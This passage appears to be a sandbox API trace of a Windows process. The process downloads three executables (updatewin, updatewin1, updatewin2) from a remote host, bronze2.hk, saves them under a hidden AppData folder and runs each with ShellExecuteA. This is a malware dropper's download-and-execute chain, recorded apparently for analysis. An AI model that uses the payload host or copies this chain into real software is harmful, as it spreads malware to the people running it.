nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.890] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.890] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.890] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.890] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.891] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.891] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.891] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.891] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.892] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.993] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.993] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0048.994] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0048.994] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0xa00) returned 1 [0048.995] WriteFile (in: hFile=0x5d8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0xa00, lpOverlapped=0x0) returned 1 [0048.995] CloseHandle (hObject=0x5d8) returned 1 [0048.998] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0049.003] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0049.004] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0049.663] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd4e98 | out: hHeap=0x6d0000) returned 1 [0049.663] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d61a0 | out: hHeap=0x6d0000) returned 1 [0049.663] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d32a8 | out: hHeap=0x6d0000) returned 1 [0049.663] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0049.663] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x316bec0 [0049.663] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x866) returned 0x30d3270 [0049.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x316bec0, cbMultiByte=-1, lpWideCharStr=0x30d3270, cchWideChar=1075 | out: lpWideCharStr="http://bronze2.hk/tesptc/penelop/updatewin2.exe") returned 48 [0049.663] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x870) returned 0x3177140 [0049.663] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0049.663] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x316bec0 | out: hHeap=0x6d0000) returned 1 [0049.663] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x870) returned 0x30d3270 [0049.663] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x833) returned 0x3137d30 [0049.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bronze2.hk/tesptc/penelop/updatewin2.exe", cchWideChar=-1, lpMultiByteStr=0x3137d30, cbMultiByte=2099, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bronze2.hk/tesptc/penelop/updatewin2.exe", lpUsedDefaultChar=0x0) returned 48 [0049.663] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x3130f00 [0049.664] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3137d30 | out: hHeap=0x6d0000) returned 1 [0049.664] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0049.664] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bronze2.hk/tesptc/penelop/updatewin2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0049.848] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3130f00 | out: hHeap=0x6d0000) returned 1 [0049.848] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9a5d6d0, lpdwBufferLength=0x9a5d710, lpdwIndex=0x0 | out: lpBuffer=0x9a5d6d0*, lpdwBufferLength=0x9a5d710*=0x4, lpdwIndex=0x0) returned 1 [0049.848] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x316bfe0 [0049.848] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x20) returned 0x314dab8 [0049.848] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x316bfe0 | out: hHeap=0x6d0000) returned 1 [0049.848] lstrcpyA (in: lpString1=0x30d2218, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40" [0049.848] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40", pMore="updatewin2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe") returned 1 [0049.848] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x3165d88 [0049.848] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0049.849] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.849] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.905] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.907] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.909] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.910] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.910] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.985] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.986] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.986] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.986] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.987] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.987] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.987] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0049.988] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0049.988] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.032] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.032] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.035] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.035] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.036] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.036] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.037] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.038] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.040] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.040] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.041] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.042] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.044] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.044] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.048] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.048] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.087] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.087] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.095] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.095] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.096] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.097] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.098] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.098] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.098] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.100] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.101] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.101] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.102] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.106] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.107] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.109] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.110] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0050.110] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.111] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x1200) returned 1 [0050.111] WriteFile (in: hFile=0x6bc, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x1200, lpOverlapped=0x0) returned 1 [0050.111] CloseHandle (hObject=0x6bc) returned 1 [0050.114] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0050.119] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0050.119] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0050.163] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3165d88 | out: hHeap=0x6d0000) returned 1 [0050.163] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x314dab8 | out: hHeap=0x6d0000) returned 1 [0050.163] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3177140 | out: hHeap=0x6d0000) returned 1 [0050.163] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0050.163] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x316c2f8 [0050.163] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x864) returned 0x30d3270 [0050.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x316c2f8, cbMultiByte=-1, lpWideCharStr=0x30d3270, cchWideChar=1074 | out: lpWideCharStr="http://bronze2.hk/tesptc/penelop/updatewin.exe") returned 47 [0050.163] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x870) returned 0x3177140 [0050.163] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: hHeap=0x6d0000) returned 1 [0050.163] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x316c2f8 | out: hHeap=0x6d0000) returned 1 [0050.163] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x870) returned 0x30d3270 [0050.163] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x832) returned 0x31829d8 [0050.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bronze2.hk/tesptc/penelop/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0x31829d8, cbMultiByte=2098, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bronze2.hk/tesptc/penelop/updatewin.exe", lpUsedDefaultChar=0x0) returned 47 [0050.163] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x3130f00 [0050.163] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x31829d8 | out: hHeap=0x6d0000) returned 1 [0050.163] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d3270 | out: 